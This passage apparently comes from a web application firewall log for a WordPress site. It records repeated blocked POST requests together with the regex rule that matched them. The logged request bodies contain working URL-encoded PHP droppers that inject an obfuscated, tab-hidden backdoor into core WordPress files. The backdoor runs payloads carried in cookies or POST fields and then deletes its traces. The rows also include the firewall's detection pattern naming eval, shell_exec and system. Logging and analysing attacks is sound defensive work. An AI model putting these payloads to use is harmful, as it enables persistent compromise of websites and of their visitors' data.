%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:4555\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\npc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Exception\/Http\/StatusUnknown.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528array_key_exists%2528%2522k%2522%252C%2520%2524_POST%2529%2529%257B%2520%2524dat%2520%253D%2520%2524_POST%255B%2522k%2522%255D%253B%2520%2524dat%253D%2520explode%2520%2528%2527.%2527%2520%252C%2520%2524dat%2529%253B%2520%2524symbol%2520%253D%2527%2527%253B%2520%2524s%2520%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%2520%253Dstrlen%2528%2524s%2529%253B%2520%2524x%2520%253D0%253B%2520%2524__tmp%2520%253D%2524dat%253B%2520while%2520%2528%2524v8%2520%253Darray_shift%2528%2524__tmp%2529%2529%2520%257B%2520%2524sChar%2520%253Dord%2528%2524s%255B%2524x%2525%2520%2524sLen%255D%2529%253B%2520%2524dec%2520%253D%2528%2528int%2529%2524v8%2520-%2520%2524sChar%2520-%2520%2528%2524x%2525%252010%2529%2529%255E47%253B%2520%2524symbol%2520.%253D%2520chr%2528%2524dec%2529%253B%2520%2524x%252B%252B%253B%2520%257D%2520%2524key%2520%253D%2520array_filter%2528%255Bgetcwd%2528%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520for%2520%2528%2524ent%2520%253D%25200%252C%2520%2524descriptor%2520%253D%2520count%2528%2524key%2529%253B%2520%2524ent%2520%253C%2520%2524descriptor%253B%2520%2524ent%252B%252B%2529%2520%257B%2520%2524property_set%2520%253D%2520%2524key%255B%2524ent%255D%253B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524property_set%2529%2520%252A%2520is_writable%2528%2524property_set%2529%2529%2529%2520%257B%2520%2524component%2520%253D%2520implode%2528%2522\/%2522%252C%2520%255B%2524property_set%252C%2520%2522.item%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524component%252C%2520%2524symbol%2529%2529%2520%257B%2520include%2520%2524component%253B%2520%2540unlink%2528%2524component%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:05","103.143.207.18","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qJ:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpHbvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyvLKAyK3Owo25hMJA0nJ9hVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nqJ=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:09","77.65.47.245","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sN:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp04vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhqTIlozSfVwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\n\nsN=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 09:42:12","192.3.12.164","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ia:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\naccept-encoding:gzip,deflate\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nsec-fetch-mode:navigate\ncontent-length:3242\nsec-fetch-user:?1\nsec-fetch-dest:document\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nupgrade-insecure-requests:1\naccept:*\/*\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnJRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAlMJS0MJDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\n\nia=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-simplepie.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B22%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D6%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B22%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B22%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B6%252B1%253B%257D%2524k%253D%2524p%255B10%255D%2528%2529.%2524p%255B24%255D%253Bif%2528%2521%2524p%255B27%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B13%255D%2528%2524k%252C%2524p%255B15%255D%2529%253B%2524p%255B8%255D%2528%2524n%252C%2524p%255B18%255D.%2524p%255B17%255D%2528%2524p%255B28%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3